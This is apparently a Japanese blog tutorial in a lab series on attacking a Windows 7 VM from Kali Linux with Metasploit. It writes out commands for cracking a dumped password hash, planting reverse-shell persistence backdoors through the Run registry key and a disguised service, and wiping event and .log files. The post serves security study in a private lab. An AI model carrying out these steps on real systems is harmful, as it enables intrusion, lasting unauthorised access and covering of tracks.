Kali Linux2022.1 でハッキングラボをつくってみる 5 Windows7をハッキングする編4(Metasploit Frameworkを使う中編）

# はじめに
前編からの続きになります。
[前編](https://qiita.com/kagirohi/items/e36a1080d6eeef2e2503)
『ハッキング・ラボのつくりかた』のp.254〜269の内容に相当します。
前回入手したハッシュダンプの解析からバックドアの設置まで行います。

:::note alert
注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。
:::
## john the ripperでWindows7のハッシュダンプを解析する
KaliLinuxにデフォルトでインストールされているオフラインのパスワード解析ソフトJohn the ripperでハッシュを解析して元のパスワードを特定します。
「解析」としましたが、パスワードは既知なので（Passw0rd!)、それをちゃんと当てられるのかどうかを試してみることが、今回の肝となります。
パスワード解析には、辞書攻撃と総当り（ブルートフォース）攻撃があります。今回は辞書攻撃で解析を行います。

まず、入手したハッシュファイルを作業しやすいディレクトリに配置、ファイル名に変更する。(ハッシュファイルのファイル名は環境によって違う。)
```
cp /home/kali/.msf4/loot/20220414155405_default_192.168.56.108_windows.hashes_364906.txt /home/kali/win7hash.txt
```
解析を行う
```
john --wordlist=/usr/share/john/password.lst --format:nt win7hash.txt
```
うまく解析できなかった。
既知のパスワード"Passw0rd!"を附属のパスワードファイル"/usr/share/john/password.lst"に追加して再度解析する。
![VirtualBox_kali-linux-2022.1-virtualbox-amd64_17_04_2022_22_53_29.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/5a71ccd3-c367-5bdd-6c86-3c348ed9e6b7.png)
解析成功。Administratorのパスワードが"PassW0rd!"だと判明した。
## システム情報の収集
- 不要なセッションを閉じる
sessionID1は、システム権限が取れていない。代わりとなるsessionID2のセッションがあるので、不要になった。次のコマンドで、不要なセッションを閉じる。
-kオプションは、killを表している。
```
sessions -k 不要になったセッションのセッションID
```

- システム情報収集
管理者権限の確立したセッションで行う。
レジストリなどの幅広いシステム情報を収集するコマンド
```
run scraper
```
コマンド実行後、しばらくしてから"/home/kali/.msf4/logs/scripts/scraper/"というディレクトリの直下に、"\<ターゲットのIPアドレス>_\<日付>.\<数値列>"という新規のディレクトリが作られている。その新規に作られたディレクトリには、以下のテキストファイルが含まれている。
![runscraper実行後.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/f515ba08-44cf-2b2e-0f67-efb0adca1abd.png)



| ファイル名 | 説明 |
|:-:|:-:|
| HKCC.reg | 現在のハードウェアプロファイルの情報を保持  |
| HKCR.reg  | ファイル形式の関連付け、COMクラスなどの情報を保持  |
| HKCU.reg  | デスクトップなど、現在ログオンしているアカウント固有のシステムやプログラムの設定情報を保持  |
| HKLM.reg  | ハードウェア、セキュリティ情報、OS、プログラム、システムなどのコンピュータ固有の情報を保持  |
| HKU.reg  | ユーザーごとの設定情報を保持 |
| env.txt | 環境変数の一覧を表示 |
| group.txt  | グループ（ネットワーク）に関する情報  |
| hashes.txt  | パスワードのハッシュファイル  |
| localgroup.txt  | グループの一覧を表示 |
| nethood.txt | Nethoodに関する情報 |
| network.txt | ネットワークに関する情報 |
| services.txt  | OS起動時に自動的に起動するサービス一覧  |
| shares.txt  | 共有しているフォルダに関する情報  |
| system.txt  | ホストコンピュータの名前、OSの種類、バージョンなど  |
| systeminfo.txt  | システムの情報(OSの種類、バージョン、hotfix、ネットワーク情報など)について  |
| users.txt  | ユーザーの一覧を表示  |

※レジストリファイル.regの説明文章は、同書p.172の記述を参考にした。

hashes.txtを読んでみると、"post/windows/gather/smart_hashdump"でダッシュしたハッシュファイルの内容と同等であった。最初から、こちらを使っておけばよかった・・・。

- システムの内部情報にアクセス
Meterpreterプロンプト上で、cmd.exeの実行が可能である。実行にはmeterpreterプロンプト上で、`shell`を実行。
```:meterpreter >
shell
```
WMI(Windows Management Instrumentation)というWindowsのシステムを管理するインターフェースで、Windowsのシステムの内部情報にアクセスできる。例えば、`wmic startup`で、自動起動の内容を確認できる。

## バックドアの設置
ターゲットのWindows7がシャットダウン、あるいはログオフなどをしてしまえば、セッションが閉じてしまうことになる。もう一度、payloadが実行されるとは限らないので、セッションが確立している間にバックドアを設置する必要がある。

### ExploitFramewoekで設置
#### run persistenceコマンドでバックドアを設置
`run persistence`コマンドでバックドアの設置ができる。ただし、実行時に
> [!] Meterpreter scripts are deprecated. Try exploit/windows/local/persistence.
[!] Example: run exploit/windows/local/persistence OPTION=value [...]

とエラーが表示されることから、非推奨のコマンドであるらしい。（一応、実行は可能）
代わりに、"exploit/windows/local/persistence"を使ってみるのも良いかもしれない。
"exploit/windows/local/persistence"を利用する方法は、同書のp.259の注釈で紹介されている。将来的には、こちらの方法がスタンダードになるのかもしれない。
どちらからでもバックドアの設置は可能。

使い方、オプションなどは、ヘルプ`run persistence -h`から確認できる。

**ヘルプよりオプションの一覧**
- -A  exploit/multi/handlerの接続があったら、自動的にエージェントを起動
- -h  ヘルプ
- -i  接続を試みるインターバルを秒で指定
- -L　％TEMP％を使用しない場合に、ペイロードを書き込むターゲットホスト内のフォルダ、ディレクトリを指定
- -p  使用するポート番号の指定
- -P  payloadを使う。デフォルトはwindows/meterpreter/reverse_tcp
- -r  コネクトバックをlisteningしているMetasploitを実行しているシステムのIP
- -S  ターゲットシステムが起動したときに、そのサービスとしてエージェントを自動的に起動させる
- -T  一時利用の代替実行ファイルの利用
- -U  ターゲットシステムのユーザがログオンしたときに、エージェントを自動的に起動させる
- -X  ターゲットシステムが起動したときに、エージェントを自動的に起動させる
 
コマンドの実行
```:meterpreter >
run persistence -X -i 60 -P windows/meterpreter/reverse_tcp -p 4444 -r 192.168.56.2
```
上記のコマンドで、ターゲットシステムが起動したときに、エージェント（ペイロード）を自動実行し、インターバルは60秒、使用するペイロードはwindows/meterpreter/reverse_tcp、ポート番号は4444、接続先は192.168.56.2
と設定した。
![runpersistence実行後.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/df1df691-9fef-62fd-7209-c98ea79ebba7.png)
Tempフォルダにvbsファイルが生成されていること、レジストリキーが変更されたことがわかる。（赤線部分）
バックドアを撤去したいときは、黄緑線部分の.rcファイルの内容を参考にすると良い。

#### exploit/windows/local/persistenceでバックドアを設置
meterpreterプロンプトから実行せずに、msfプロンプト上で、"exploit/windows/local/persistence"から行う形では、
```:msf >
use exploit/windows/local/persistence
set exe_name serviceWin7（不審でない名前にする）
set session 1（セッション１が確立済みかつシステム権限がある）
set exe::custom /home/kali/payloads/evil.exe
show options
show advanced
run
```
`exe_name`、`session`は`show options`、`exe::custom`は`show advanced`で確認できる項目である。
![exploitwindowslocalpersistence実行後.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/79126a78-4246-c774-3138-2d71c1962cab.png)

成功したら、Windows7に戻って、「Sysinternals」の「Autoruns.exe」を開く。
「Everything」タグに、バックドアが設置させれていることが確認できた。
![VirtualBox_IE10 - Win7_20_04_2022_15_40_23.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/e8be4f1f-1be2-246f-abda-5e14834e0a6e.png)
ファイル名から、"exploit/windows/local/persistence"で設置したバックドアであることがわかる。

### 手動で設置
`run persistence`コマンド、"exploit/windows/local/persistence"モジュールでバックドアを作成せずに、手動で設置してみる。前者との違いを検証する。

1. ペイロードを"C:\Windows"に移動する
shellコマンドから利用できるWindowsのコマンドプロンプトとMeterpreterプロンプト両方から可能であるが、tab補正やBackspaceが利用できる後者のプロンプトが便利。
```: meterpreter >
cp "C:\\Users\\IEUser\Downloads\\evil.exe" "C:\\Windows\\evil.exe"
rm "C:\\Users\\IEUser\\Downloads\\evil.exe"
```

２. 自動起動の設定に登録
- 確認
```:meterpreter >
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
```
![VirtualBox_kali-linux-2022.1-virtualbox-amd64_20_04_2022_16_03_35.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/c9e8a9ff-30a9-75d4-fef5-dddad4a4d892.png)
※利用しているバックドアが、`run persistence`コマンドで生成されたバックドアではないため、同書p.268では３つあるキー値が２つしかない。
- 登録
```:meterpreter >
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v backdoor -d 'C:\Windows\evil.exe'
```
![VirtualBox_kali-linux-2022.1-virtualbox-amd64_20_04_2022_16_10_51.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/048370e2-30b2-40be-40a9-b26a0c6ba8c3.png)

３. 自動起動の確認
Windows7を再起動すると、下の画面のようなダイアログが出現。
![VirtualBox_IE10 - Win7_20_04_2022_16_12_59.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/140f4faa-94df-2f7d-b57c-18b8ebe74cd3.png)

同書p.269には、次のように記述されている。
> "evil.exe"ファイルを実行したようですが、ダブルクリックしたときと同じように確認ダイアログが表示されてしまいました。これでは明らかに怪しいといえます。しかも「Always ask before opening this file」のチェックを外さない限り、毎回表示されます。
persistenceではこうした問題を回避するために、exeファイルの自動起動ではなく、vbsファイルの自動起動を採用しているのです。

## ログを削除
ログの削除はあまり洗練されたログ改ざんではないが、簡単に出来て追跡が困難になる方法である。
- clearevコマンド
meterpreterプロンプトで、システム権限を取得した上で`clearev`コマンドを実行するとイベンログが消去される。

- ClearLogを使用
必要なファイルは、[ソースフォージのダウンロードページ](https://sourceforge.net/projects/clearlogs/)からダウンロードできる。
meterpreterプロンプトの`upload`コマンドでWindows7側に転送して使用する。
`shell`でコマンドプロンプトに移って実行可能。ただし、Windows7上でマウス操作が必要になる。
- コマンドプロンプトのdelを使って削除
Windowsのシステムフォルダに含まれる、拡張子が.logのファイルをすべて強制的に削除する。やや乱暴で、他のプロセスが利用しているなどの理由で削除出来ないログファイルもある。
```:コマンドプロンプト
del %WINDIR%\*.log /a /s /q /f
```
/a : 削除ファイルの属性指定
/s : サブフォルダも対象とする（再帰処理）
/q : ワイルドカード使用時に確認メッセージを表示しない
/f : 読み取り専用ファイルも強制的に削除する

## 終わりに
次回は、migrateによる隠蔽化からやられOSのWindows7にさまざまな操作をしていく。

:::note
exploitのモジュール設定の際に、オプションの「Name」の部分が、同書では大文字で指定されている。（例えば、"LHOST"や"SESSION"など）
この記事と前回の記事では、小文字で指定（"lhost"や"session"など）している。小文字で指定しても動作に支障はなかった。
:::